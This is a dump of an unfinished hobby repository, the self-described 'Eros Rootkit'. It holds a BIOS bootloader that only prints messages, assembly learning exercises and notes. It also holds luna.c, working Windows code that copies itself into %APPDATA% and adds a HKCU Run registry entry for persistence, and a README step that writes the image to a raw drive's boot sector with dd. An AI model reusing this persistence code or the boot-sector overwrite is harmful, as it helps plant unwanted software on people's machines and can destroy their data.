├── .gitignore ├── Rootkit ├── .gitignore ├── Makefile ├── eros_2.asm ├── README.md ├── NOTES.MD └── eros.asm ├── General ├── helloWorld │ ├── helloWorld │ ├── helloWorld.o │ ├── Makefile │ └── helloWorld.asm ├── CallingConventions │ ├── CallingConventions │ ├── Makefile │ └── CallingConventions.asm ├── startupPersistency │ ├── luna.h │ └── luna.c ├── BIOS_Skeleton │ └── skeleton.asm └── HigherLevelCodeExamples │ └── numToString.md └── README.md /.gitignore: -------------------------------------------------------------------------------- 1 | *.o 2 | *.out 3 | *.raw 4 | -------------------------------------------------------------------------------- /Rootkit/.gitignore: -------------------------------------------------------------------------------- 1 | eros.o 2 | eros.raw 3 | mynotes 4 | eros_2.raw 5 | eros_final.raw 6 | -------------------------------------------------------------------------------- /General/helloWorld/helloWorld: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/CDuPlooy/Rootkit/HEAD/General/helloWorld/helloWorld -------------------------------------------------------------------------------- /General/helloWorld/helloWorld.o: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/CDuPlooy/Rootkit/HEAD/General/helloWorld/helloWorld.o -------------------------------------------------------------------------------- /General/CallingConventions/CallingConventions: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/CDuPlooy/Rootkit/HEAD/General/CallingConventions/CallingConventions -------------------------------------------------------------------------------- /General/helloWorld/Makefile: -------------------------------------------------------------------------------- 1 | compile: 2 | nasm -f elf64 helloWorld.asm -o helloWorld.o -ggdb 3 | ld helloWorld.o -o helloWorld 4 | debug: compile 5 | gdb ./helloWorld 6 | -------------------------------------------------------------------------------- /General/CallingConventions/Makefile: -------------------------------------------------------------------------------- 1 | compile: 2 | nasm -f elf64 CallingConventions.asm -o CallingConventions.o -ggdb 3 | ld CallingConventions.o -o CallingConventions 4 | debug: compile 5 | gdb ./CallingConventions 6 | -------------------------------------------------------------------------------- /General/startupPersistency/luna.h: -------------------------------------------------------------------------------- 1 | #ifndef LUNA_H 2 | #define LUNA_H 3 | //HEADERS 4 | short checkStart(); 5 | short addStart(); 6 | short init(); 7 | void d_init(); 8 | void copySelf(char *loc); 9 | //DEFINES 10 | #define RESERVED NULL 11 | #define NO_TYPE NULL 12 | 13 | #endif 14 | -------------------------------------------------------------------------------- /Rootkit/Makefile: -------------------------------------------------------------------------------- 1 | compile_raw: 2 | nasm -f bin eros.asm -o eros.raw 3 | nasm -f bin eros_2.asm -o eros_2.raw 4 | @cat eros.raw > eros_final.raw 5 | @cat eros_2.raw >> eros_final.raw 6 | @echo "Generating eros_final" 7 | @rm eros.raw 8 | @rm eros_2.raw 9 | @echo "Cleaning up" 10 | qemu: compile_raw 11 | qemu-system-i386 -fda eros_final.raw -boot a 12 | clean: 13 | rm eros.raw 14 | #A useless comment 15 | -------------------------------------------------------------------------------- /General/BIOS_Skeleton/skeleton.asm: -------------------------------------------------------------------------------- 1 | [BITS 16] ;tell the assembler that its a 16 bit code 2 | [ORG 0x7C00] ;Origin, tell the assembler that where the code will 3 | ;be in memory after it is been loaded 4 | 5 | JMP $ ;infinite loop 6 | 7 | TIMES 510 - ($ - $$) db 0 ;fill the rest of sector with 0 8 | DW 0xAA55 ; add boot signature at the end of bootloader 9 | 10 | ;;Not mine ; credit goes to http://viralpatel.net/taj/tutorial/hello_world_bootloader.php 11 | ;;Nice explanation of what everything does though ; I'm not sure about the [] , usually I don't add those. 12 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # Eros Rootkit: 2 | 3 | Author : [RagingGrim](https://github.com/RagingGrim) 4 | 5 | The Eros Rootkit is a special kind of malware with it's own custom bootloader. The rootkit takes control of the system before forking and passing control to the operating system. ( Sort of). 6 | 7 | Due to recent events in my personal life I have more ( but less ) time to spend on this project. I am going to take it into a slightly different direction, for now the repository will be about building smaller parts of a rootkit with the intent of at the very end having a feasible framework to build on. 8 | -------------------------------------------------------------------------------- /Rootkit/eros_2.asm: -------------------------------------------------------------------------------- 1 | BITS 16 2 | ORG 0x7E00 3 | ;;Program 4 | mov esi,stageTwoMsg 5 | call print 6 | call hang 7 | 8 | ;;Functions 9 | 10 | err: 11 | mov esi,errMsg 12 | call print 13 | ret 14 | 15 | succ: 16 | mov esi,succMsg 17 | call print 18 | ret 19 | 20 | 21 | printChar: 22 | mov ah,0x0e 23 | mov bh,0x0 24 | mov bl,0x07 25 | int 0x10 26 | ret 27 | 28 | print: 29 | mov al,[si] 30 | inc esi 31 | or al,al 32 | JZ print_done 33 | call printChar 34 | JMP print 35 | print_done: 36 | ret 37 | hang: 38 | JMP $ 39 | 40 | stageTwoMsg: db "Stage two loaded!" , 0xA , 0xD,0 41 | errMsg: db "An Error Occured",0xA,0xD,0 42 | succMsg: db "Execution Normal",0xA,0xD,0 43 | -------------------------------------------------------------------------------- /Rootkit/README.md: -------------------------------------------------------------------------------- 1 | # General Notes: 2 | * When compiling on linux dd is the most useful. See the compiling section. 3 | * With assembly you usually have to play around with the code to get it to work ; Be patient. 4 | 5 | 6 | ## 1 - Compiling ( Hardware method ): 7 | * Compile with make 8 | * Check what device is your target drive with lsblk. Usually it is the last one. 9 | * sudo dd if=eros_final.raw of=/dev/sdb bs=512 10 | 11 | 12 | The third step is the most important because we want the bootloader to be located at the
13 | first block on the device. BIOS looks at these blocks to determine if a device is bootable.
Later when the stage II bootloader is finished we will compile differently ; Skipping over
the first 512 bytes so that the second part is easy to load from within the first. 14 | 15 | 16 | ## 2 - Compiling ( Software method ): 17 | * Make sure that you have qemu installed. 18 | * make qemu 19 | -------------------------------------------------------------------------------- /General/helloWorld/helloWorld.asm: -------------------------------------------------------------------------------- 1 | BITS 32 2 | section .data 3 | msg db "Hello World!",10,0 4 | section .bss 5 | 6 | section .text 7 | global _start 8 | 9 | _start: 10 | xor ebx,ebx 11 | mov eax,msg 12 | call len 13 | ;;eax now contains the length of the string 14 | mov ebx,eax 15 | mov eax,msg 16 | call print 17 | 18 | mov eax,1 19 | mov ebx,0 20 | int 0x80 21 | 22 | ret 23 | ;expects eax to be a string 24 | ;expects ebx to be the string length 25 | ;recall that int 0x80 calls a system call 26 | ;we'll be using write for this example 27 | print: 28 | mov ecx,eax 29 | mov eax,4 ;;write 30 | mov edx,ebx 31 | mov ebx,1 ;;stdout 32 | int 0x80 33 | ret 34 | 35 | 36 | ;eax should be the string 37 | ;eax will be the result , using ebx 38 | len: 39 | xor ebx , ebx 40 | len_loop: 41 | cmp byte [eax],0 42 | JE len_done 43 | add eax,1 44 | add ebx,1 45 | JMP len_loop 46 | len_done: 47 | mov eax , ebx 48 | xor ebx,ebx 49 | ret 50 | -------------------------------------------------------------------------------- /General/HigherLevelCodeExamples/numToString.md: -------------------------------------------------------------------------------- 1 | # Converting from an integer to a string: 2 | ````c++ 3 | std::string numToString(int amount){ 4 | std::string number; 5 | 6 | bool isNeg = amount < 0; 7 | if(isNeg){ 8 | amount = abs(amount); 9 | number.push_back('-'); 10 | } 11 | 12 | if( amount == 0){ 13 | number.push_back('0'); 14 | return number; 15 | } 16 | 17 | 18 | size_t digits = ceil(log10(amount)); 19 | size_t modifier = pow(10,digits-1); 20 | size_t cumilation = 0; 21 | 22 | for(size_t i = 0 ; i < digits ; i++, modifier /= 10 ){ 23 | size_t divVal = amount/modifier; 24 | number.push_back((divVal - cumilation) | 0b00110000); 25 | cumilation = divVal * 10; 26 | } 27 | return number; 28 | } 29 | ```` 30 | 31 | This is for ASCII values. I doubt it'll work for UTF. 32 | Doesn't work for multiples of ten... :? 33 | -------------------------------------------------------------------------------- /General/CallingConventions/CallingConventions.asm: -------------------------------------------------------------------------------- 1 | BITS 32 2 | global _start 3 | section .data 4 | 5 | section .text 6 | _start: 7 | 8 | push dword 1 9 | call cdelc_add 10 | add ebp , 8 ;; When using the cdelc convention the caller has to clean up. 11 | 12 | push dword 1 13 | call std_add ;; We don't need to do any kind of clean up. 14 | 15 | push dword 1 16 | mov ecx,eax 17 | mov edx,1 18 | call fastcall_add 19 | 20 | JMP $ ;; Fall through will occur once example is done, this prevents fall through but the program will hang 21 | 22 | cdelc_add: ;; Cdelc means the caller has to clean up 23 | add eax,[esp + 8] ;; The size of an integer is 8 for 64 bit systems and 4 for 32 bit systems. 24 | ret 25 | 26 | std_add: ;; stdcall means the callee has to clean up. 27 | add eax,[esp + 8] 28 | ;; Alternatively add esp , 8 29 | ret 8 ;; Cleans up, and then returns. 30 | 31 | fastcall_add: ;; First two arguments go onto into ecx,edx and the rest unto the stack. Callee still does cleanup. 32 | add ecx , edx 33 | add ecx , [esp+8] 34 | mov eax,ecx 35 | xor ecx , ecx ;; Quick way to zero a register 36 | ret 8 37 | ret 38 | -------------------------------------------------------------------------------- /Rootkit/NOTES.MD: -------------------------------------------------------------------------------- 1 | ## *Just a little todo list.* 2 | * Set up the stack. 3 | * Write a function to calculate the amount of digits in an integer. 4 |
We need this to be able to convert an integer to a string. 5 | * Look at the FPU and functions using it. You'll need it. 6 | ```nasm 7 | dd number1: 0 8 | finit ;;resets FPU registers 9 | mov eax,dword num1 ;; Move pointers into registers first 10 | mov ebx,dword num2 11 | fld dword [eax] ;;loads the value eax is point to 12 | fld dword [ebx] ;;fyl2x now computes y * log2(x) 13 | fyl2x 14 | ``` 15 | * Logarithm rules ; Fuckem right? Well you need them now. Study study study. 16 | * Study the NTFS , FAT and EXT filesystems. Need to read/write. 17 | 18 | ## *Restructuring the repository.* 19 | * The bootloader now needs to be split into stages. 20 | * Stage one simply loads stage two from where we put the processor into protected mode. 21 | * Once in protected mode normal execution can proceed. This is where we'll need to
be able to read the different filesystems. 22 | 23 | 24 | ## What I've Learned So Far:# 25 | * Assembly takes a lot of work. 26 | * The FPU doesn't need a lot of memory , it should work fine in 16 bit mode. ( Not 100% Sure But At Least A Tiny Bit Certain ) 27 | * BIOS functions uses the stack ( SUPRISE! ) so I should probably set it up first. 28 | * The read BIOS call only loads 512 blocks at a time. meaning stage 2 shouldn't exceed 512 bytes. At least not yet. 29 | 30 | ## Related Links 31 | * [uefi-example](http://forum.nasm.us/index.php?topic=2191.0) 32 | -------------------------------------------------------------------------------- /General/startupPersistency/luna.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include "luna.h" 6 | 7 | char installLocation[265]; 8 | 9 | short checkStart(){ 10 | short err = 0; 11 | 12 | HKEY res; 13 | if(RegOpenKeyEx(HKEY_CURRENT_USER, "Software\\Microsoft\\Windows\\CurrentVersion\\Run", 0, KEY_ALL_ACCESS,&res) != ERROR_SUCCESS) 14 | return 0; 15 | unsigned char *buffer = malloc(800); 16 | 17 | DWORD bufferSize; 18 | if(RegQueryValueExA(res, "luna", RESERVED, NO_TYPE, buffer, &bufferSize) != ERROR_SUCCESS) 19 | goto checkStart_cleanup; 20 | buffer = realloc(buffer, bufferSize); 21 | if(!buffer) 22 | goto checkStart_cleanup; 23 | 24 | if(strcmp((const char *)buffer,installLocation) != 0) 25 | goto checkStart_cleanup_two; 26 | 27 | err = !0; 28 | checkStart_cleanup_two: 29 | memset(buffer, 0,bufferSize); 30 | free(buffer); 31 | checkStart_cleanup: 32 | RegCloseKey(res); 33 | return err; 34 | } 35 | short init(){ 36 | GetEnvironmentVariableA("appdata", installLocation, 200); 37 | strcat(installLocation,"\\l.u.n.a"); 38 | return 0; 39 | } 40 | void d_init(){ 41 | memset(installLocation, 0, 265); 42 | } 43 | short addStart(){ 44 | HKEY hkey; 45 | if(RegOpenKeyEx(HKEY_CURRENT_USER, "Software\\Microsoft\\Windows\\CurrentVersion\\Run", 0, KEY_ALL_ACCESS,&hkey) != ERROR_SUCCESS) 46 | return 0; 47 | if(RegSetValueExA(hkey, "luna", 0, REG_SZ, (const BYTE *)installLocation, strlen(installLocation)) != ERROR_SUCCESS){ 48 | RegCloseKey(hkey); 49 | return 0; 50 | } 51 | 52 | RegCloseKey(hkey); 53 | return 1; 54 | } 55 | void copySelf(char *loc){ 56 | size_t size; 57 | for(size = strlen(loc) ; size < 0 ; size--) 58 | if(loc[size]=='\\') 59 | loc = loc + size; 60 | 61 | CopyFile(loc,installLocation,0); //you might want to create your own copy function. 62 | } 63 | int main(int argc , char **argv){ 64 | init(); 65 | if(!checkStart()) 66 | addStart(); 67 | //if(GetFileAttributesA(installLocation) == INVALID_FILE_ATTRIBUTES) 68 | copySelf(argv[0]); 69 | 70 | d_init(); 71 | getchar(); 72 | return 0; 73 | } 74 | -------------------------------------------------------------------------------- /Rootkit/eros.asm: -------------------------------------------------------------------------------- 1 | BITS 16 2 | ORG 0x7C00 3 | 4 | section .text 5 | xor ax, ax 6 | mov ds, ax 7 | mov es, ax ;;xor es,es results in an error 8 | ;;This needs to be done on account of segmentation. 9 | 10 | ;;On boot the drive being used's identifier is stored in dl. 11 | _stackCreation: 12 | add ax,512 ;;Size of stage 1 13 | ;;add ax,598 ;;We'll have a stage 2 as well so uncomment this later 14 | add ax,8092 ;;Disk buffer. 15 | add ax,4092 ;;Stack 16 | 17 | ;;fall through to stage 1 18 | 19 | _stageOne: 20 | mov [Drivenum] ,dl 21 | 22 | xor eax,eax 23 | xor ebx,ebx 24 | xor ecx,ecx 25 | xor edx,edx 26 | ;xor esi,esi 27 | 28 | mov esi, msg 29 | call print 30 | int 0x11 31 | 32 | call checkDrive 33 | ;;int 13h is low level disk services ; ah = 02h read 34 | ;;I'm on the right track 13h 02h isn't an extended function 35 | 36 | ;;; COPIED FROM http://stackoverflow.com/questions/15497842/read-a-write-a-sector-from-hard-drive-with-int-13h 37 | ; read_sectors_16 38 | ; 39 | ; Reads sectors from disk into memory using BIOS services 40 | ; 41 | ; input: dl = drive 42 | ; ch = cylinder[7:0] 43 | ; cl[7:6] = cylinder[9:8] 44 | ; dh = head 45 | ; cl[5:0] = sector (1-63) 46 | ; es:bx -> destination 47 | ; al = number of sectors 48 | ; 49 | ; output: cf (0 = success, 1 = failure) 50 | mov ah,0x02 51 | mov dl,[Drivenum] 52 | xor dh,dh 53 | mov cl , 2 ;;cylinder 2 54 | mov ch, 0 ;;sector 0 55 | mov bx, 0x7E00 ;;the starting point for 56 | mov al,1 57 | int 0x13 58 | jmp 0x7E00 59 | 60 | 61 | err: 62 | mov esi,errMsg 63 | call print 64 | ret 65 | 66 | succ: 67 | mov esi,succMsg 68 | call print 69 | ret 70 | 71 | hang: 72 | JMP $ 73 | 74 | printChar: 75 | mov ah,0x0e 76 | mov bh,0x0 77 | mov bl,0x07 78 | int 0x10 79 | ret 80 | 81 | print: 82 | mov al,[si] 83 | inc esi 84 | or al,al 85 | JZ print_done 86 | call printChar 87 | JMP print 88 | print_done: 89 | ret 90 | 91 | 92 | len: 93 | xor ebx , ebx 94 | len_loop: 95 | cmp byte [eax],0 96 | JE len_done 97 | add eax,1 98 | add ebx,1 99 | JMP len_loop 100 | len_done: 101 | ret 102 | 103 | checkDrive: 104 | mov ah,0x01 105 | mov dl,[Drivenum] 106 | int 0x13 107 | cmp ah,0 108 | JE checkDrive_fine 109 | JMP checkDrive_failed 110 | checkDrive_failed: 111 | call err 112 | ret 113 | checkDrive_fine: 114 | mov esi,hostDevice 115 | call print 116 | ret 117 | 118 | ;;I forgot that the message for some reason needs to be down here. I Never really figured out why. 119 | ;;AAAAAAH CARRIAGE RETURNS! 120 | msg: db "Eros Rootkit" , 0xA , 0xD , 0x10 , "Debug Version",0x11 ,0xA , 0xD ,0 121 | errMsg: db "An Error Occured",0xA,0xD,0 122 | succMsg: db "Execution Normal",0xA,0xD,0 123 | hostDevice: db "Host device checked - working.",0xA,0xD ,0 ,0 124 | Drivenum: db 0 125 | TIMES 510 - ($ - $$) db 0 ;;zero fills the remaining space 126 | DW 0xAA55 ;;Signature for the BIOS 127 | --------------------------------------------------------------------------------